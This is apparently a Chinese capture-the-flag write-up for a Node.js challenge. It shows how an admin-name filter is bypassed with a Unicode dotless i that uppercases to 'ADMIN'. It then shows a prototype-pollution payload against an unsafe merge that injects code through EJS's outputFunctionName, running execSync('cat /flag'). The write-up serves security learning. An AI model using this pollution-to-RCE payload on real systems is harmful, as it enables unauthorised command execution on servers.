打开网站发现就这么一个页面

image-20250719003333304

f12 也没能找到什么有用的东西

提示说用admin登录

尝试

image-20250719003436443

被拒绝

我们在尝试注册

admin不能注册,随便换了个注册进入页面

image-20250719003535164

在f12看一下

image-20250719003623393

发现藏了一个压缩包

访问一下

image-20250719003702693

拿到源码解压

image-20250719003822768

这里发现有lodash 和ejs 引擎 ,看lodash这个版本 有原型链污染漏洞,ejs引擎也可以进行rce

主要源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

一眼就看到了merge

1
2
3
4
5
6
7
8
9
10
11
12
13
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

clone 方法调用了merge 我们往下看看有什么调用了clone

image-20250719004128236

只有这一个地方

所以我们污染的地方大概率就是这里了

1
2
3
4
5
6
7
8
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

他要先判断

session的user是否是”ADMIN”,但是这里我们是不知道ADMIN的密码的,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});

从他的登录函数里面发现

'user':req.body.userid.toUpperCase(), 这里他调用了转大写,那么我们就可以用特殊字符转为大写是ADMIN其中一个字符是否就可以绕过了呢?

问问大模型写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
import unicodedata

def is_uppercase_letter(s):
return len(s) == 1 and 'A' <= s <= 'Z'

def find_special_chars_to_uppercase_letters():
results = []

for codepoint in range(0x110000): # Unicode 全范围
char = chr(codepoint)
upper_char = char.upper()

if is_uppercase_letter(upper_char) and not ('A' <= char <= 'Z' or 'a' <= char <= 'z'):
try:
name = unicodedata.name(char)
except ValueError:
name = "UNKNOWN"
results.append((char, upper_char, f"U+{codepoint:04X}", name))

return results

# 执行并输出结果
results = find_special_chars_to_uppercase_letters()
for original, uppered, code, name in results:
print(f"{code} '{original}' -> '{uppered}' ({name})")

print(f"\n总共有 {len(results)} 个字符在 upper() 后变成 A-Z")

运行后输出

image-20250719004826401

1
2
U+0131 'ı' -> 'I' (LATIN SMALL LETTER DOTLESS I)
U+017F 'ſ' -> 'S' (LATIN SMALL LETTER LONG S)

所以我们成功找到了ı这个可以转为大写的I,试试能不能绕过

image-20250719004941959

成功进入了ADMIN 页面

接下来,我们继续分析,如何进行污染,执行rce

image-20250719005229674

这里题目给了提示 outputFunctionName 未定义 而且ejs 引擎的函数执行也会 调用 outputFunctionName

1
"__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')

这里的写法基本是固定的,因为ejs底层的执行命令就可以这么写

接下来抓包 发送payload

image-20250719010059267

这里我们需要将这两个地方改为json格式

payload

1
{"lua":"aaaa","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

发送,然后访问/info调用执行

image-20250719010547148

成功拿到flag